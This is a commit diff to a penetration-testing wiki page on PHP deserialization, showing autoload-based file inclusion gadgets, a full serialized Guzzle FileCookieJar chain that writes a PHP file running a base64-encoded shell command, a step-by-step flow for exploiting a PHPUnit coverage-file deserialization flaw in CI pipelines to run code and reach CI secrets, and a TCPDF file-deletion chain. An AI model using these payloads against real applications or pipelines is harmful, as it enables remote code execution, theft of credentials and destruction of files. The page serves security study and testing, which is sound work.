Skip to content

Commit 00b112b

Browse files
authored
Merge pull request #1933 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_php-deserialization-+-autoload-classes_20260222_024258
Research Update Enhanced src/pentesting-web/deserialization/...
2 parents b720c6c + fa67d55 commit 00b112b

1 file changed

Lines changed: 32 additions & 5 deletions

File tree

src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

Lines changed: 32 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,9 +12,12 @@ Steps:
1212

1313
- You have found a **deserialization** and there **isn’t any gadget** in the current app code
1414
- You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension**
15-
- For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("\_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
15+
- For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
1616
A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`**
1717

18+
<details>
19+
<summary>spl_autoload_register LFI/autoload example</summary>
20+
1821
```php
1922
spl_autoload_register(function ($name) {
2023

@@ -37,6 +40,8 @@ spl_autoload_register(function ($name) {
3740
});
3841
```
3942

43+
</details>
44+
4045
> [!TIP]
4146
> If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE.
4247
@@ -55,7 +60,7 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
5560
- Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:
5661

5762
```php
58-
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
63+
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{} }
5964
```
6065

6166
**Summary of the payload**
@@ -67,6 +72,29 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
6772

6873
I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
6974

75+
### Recent phpggc goodies (2025)
76+
77+
- The **phpggc master branch keeps adding chains**: OpenCart/RCE2, Drupal/FD1/SQLI1/XXE1, WordPress/YoastSEO/FW1 and others landed in 2025 — useful when the target app shares vendor code with those projects. A quick way to search is `phpggc -l | grep -E "OpenCart|Drupal|Yoast"` (update your clone first).
78+
- When mixing gadgets across apps via autoloading, remember **private properties in gadget definitions may be dropped** when classes are re-declared differently in the target; edit the gadget’s `chain.php` to make properties `public` if the payload arrives with empty values (same trick shown above).
79+
80+
## PHPUnit PHPT coverage deserialization (CI/CD entrypoint)
81+
82+
`phpunit` before **8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8** (CVE-2026-24765) unserialized arbitrary PHP objects from `.coverage` files produced by the **PHPT runner**. In CI pipelines where untrusted contributors can push tests, dropping a crafted `.coverage` file triggers deserialization as soon as the suite runs — no web access needed.
83+
84+
**Attack flow**
85+
86+
1. Place a malicious `.coverage` file in the repo (or artifact) containing a serialized gadget that exists in the test dependencies (e.g., a Monolog or Guzzle chain from phpggc).
87+
2. Submit a PR; when CI executes `phpunit --configuration phpunit.xml`, the PHPT runner reads the coverage file and deserializes the gadget, giving **RCE inside the runner container**.
88+
3. This is especially nasty when tests mount CI secrets (cloud creds, deployment keys).
89+
90+
**Minimal malicious coverage stub** (drop alongside a PHPT test):
91+
```php
92+
<?php
93+
$payload = file_get_contents('php://stdin'); // serialized gadget from phpggc
94+
file_put_contents('exploit.coverage', $payload);
95+
```
96+
Run the PHPT so phpunit consumes `exploit.coverage`.
97+
7098
## TCPDF `__destruct` POP chain for arbitrary file deletion
7199

72100
When a real `TCPDF` instance is garbage-collected it calls `_destroy(true)`, iterates over `$this->imagekeys`, and `unlink()`s anything that looks like a cache file under `K_PATH_CACHE`. If an application performs `unserialize($user_data)` while the `TCPDF` class is loaded (e.g. it expects an array with an `html` key), you can supply a serialized object that sets:
@@ -100,8 +128,7 @@ The call to `file_exists()` deserializes the metadata, instantiates TCPDF, and i
100128
## References
101129

102130
- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
131+
- [GitLab Advisory – CVE-2024-51058 TCPDF Hash Comparison / Phar Deserialization](https://advisories.gitlab.com/pkg/composer/tecnickcom/tcpdf/)
132+
- [CVE-2026-24765 – PHPUnit PHPT Coverage Unsafe Deserialization](https://cvereports.com/reports/CVE-2026-24765)
103133

104134
{{#include ../../banners/hacktricks-training.md}}
105-
106-
107-

0 commit comments

Comments
 (0)